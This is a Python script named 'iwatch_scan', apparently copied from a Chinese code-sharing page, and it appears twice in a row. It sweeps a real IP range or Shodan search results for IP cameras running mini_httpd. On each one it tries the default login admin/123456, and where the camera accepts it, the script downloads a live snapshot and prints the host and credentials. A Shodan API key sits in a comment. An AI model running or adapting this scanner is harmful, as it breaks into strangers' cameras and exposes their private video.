iwatch_scan

# coding=utf-8

import threading
import requests
import random
import queue
import sys
import shodan
import re
from IPy import IP

def MyThread(iplist):

    threads = []
    use_queue = queue.Queue()
    for host in iplist:
        use_queue.put(host)

    for x in range(0, 100):
        threads.append(tThread(use_queue))

    for t in threads:
        t.start()
    for t in threads:
        t.join()

class tThread(threading.Thread):
    def __init__(self, use_queue):
        threading.Thread.__init__(self)
        self.use_queue = use_queue

    def run(self):

        while not self.use_queue.empty():
            host = self.use_queue.get()
            try:
                getinfo(host)
            except:
                continue

def shodanSearch(keywords,key):

    SHODAN_API_KEY = key
    api = shodan.Shodan(SHODAN_API_KEY)

    iplist = []

    try:
        results = api.search(keywords)
        #total = int(results[‘total‘])
        for result in results[‘matches‘]: iplist.append(result[‘ip_str‘])
        return iplist

    except shodan.APIError as e:
        print(‘Error: %s‘ % e)

def getinfo(host):

    username = "admin"
    password = ‘123456‘
    #password = [‘12345‘, ‘admin123‘, ‘888888‘, ‘123456‘, ‘111111‘, ‘54321‘, ‘11111‘, ‘admin‘]
    timeout = 1
    try:
        r = requests.get(url=‘http://‘ + str(host) + ‘/m.html‘, auth=(username, password), timeout=timeout)
        print(r.url,r.headers["server"],r.status_code)
        result = r.text
        title = re.findall(r‘<title>(.+?)</title>‘, result)[0]
        imgsrc = ‘http://‘ + host + ‘/cgi-bin/net_jpeg.cgi?ch=0&time=1478140502690‘
        localPath = sys.path[0] + ‘/picture/‘ + host.replace(‘:‘, ‘-‘) + ‘.jpg‘

        if ‘Live‘ in title:
            print("======================================================")
            try:
                img = requests.get(imgsrc, auth=(username, password), stream=True)
                with open(localPath, ‘wb‘) as f:
                    for chunk in img.iter_content(chunk_size=1024):
                        if chunk:
                            f.write(chunk)
                            f.flush()
                    f.close()
            except Exception as e:
                pass

            aimData = {
                "host": host,
                "username": username,
                "password": password
            }
            print(aimData)
    except Exception as e:
        pass

if __name__ == ‘__main__‘:

    #iplist = shodanSearch(keywords = ‘mini_httpd/1.19 19dec2003 country:"CN"‘,key = "B8qqU2tsMmk9Dv3LYQP8LFyVtYt6jGoZ")
    iplist = IP("210.59.0.0/16")
    print(len(iplist))

    try:
        MyThread(iplist)
    except KeyboardInterrupt:
        print("tuichu")
        sys.exit()# coding=utf-8

import threading
import requests
import random
import queue
import sys
import shodan
import re
from IPy import IP

def MyThread(iplist):

    threads = []
    use_queue = queue.Queue()
    for host in iplist:
        use_queue.put(host)

    for x in range(0, 100):
        threads.append(tThread(use_queue))

    for t in threads:
        t.start()
    for t in threads:
        t.join()

class tThread(threading.Thread):
    def __init__(self, use_queue):
        threading.Thread.__init__(self)
        self.use_queue = use_queue

    def run(self):

        while not self.use_queue.empty():
            host = self.use_queue.get()
            try:
                getinfo(host)
            except:
                continue

def shodanSearch(keywords,key):

    SHODAN_API_KEY = key
    api = shodan.Shodan(SHODAN_API_KEY)

    iplist = []

    try:
        results = api.search(keywords)
        #total = int(results[‘total‘])
        for result in results[‘matches‘]: iplist.append(result[‘ip_str‘])
        return iplist

    except shodan.APIError as e:
        print(‘Error: %s‘ % e)

def getinfo(host):

    username = "admin"
    password = ‘123456‘
    #password = [‘12345‘, ‘admin123‘, ‘888888‘, ‘123456‘, ‘111111‘, ‘54321‘, ‘11111‘, ‘admin‘]
    timeout = 1
    try:
        r = requests.get(url=‘http://‘ + str(host) + ‘/m.html‘, auth=(username, password), timeout=timeout)
        print(r.url,r.headers["server"],r.status_code)
        result = r.text
        title = re.findall(r‘<title>(.+?)</title>‘, result)[0]
        imgsrc = ‘http://‘ + host + ‘/cgi-bin/net_jpeg.cgi?ch=0&time=1478140502690‘
        localPath = sys.path[0] + ‘/picture/‘ + host.replace(‘:‘, ‘-‘) + ‘.jpg‘

        if ‘Live‘ in title:
            print("======================================================")
            try:
                img = requests.get(imgsrc, auth=(username, password), stream=True)
                with open(localPath, ‘wb‘) as f:
                    for chunk in img.iter_content(chunk_size=1024):
                        if chunk:
                            f.write(chunk)
                            f.flush()
                    f.close()
            except Exception as e:
                pass

            aimData = {
                "host": host,
                "username": username,
                "password": password
            }
            print(aimData)
    except Exception as e:
        pass

if __name__ == ‘__main__‘:

    #iplist = shodanSearch(keywords = ‘mini_httpd/1.19 19dec2003 country:"CN"‘,key = "B8qqU2tsMmk9Dv3LYQP8LFyVtYt6jGoZ")
    iplist = IP("210.59.0.0/16")
    print(len(iplist))

    try:
        MyThread(iplist)
    except KeyboardInterrupt:
        print("tuichu")
        sys.exit()
时间: 2024-08-11 12:37:19

iwatch_scan的相关文章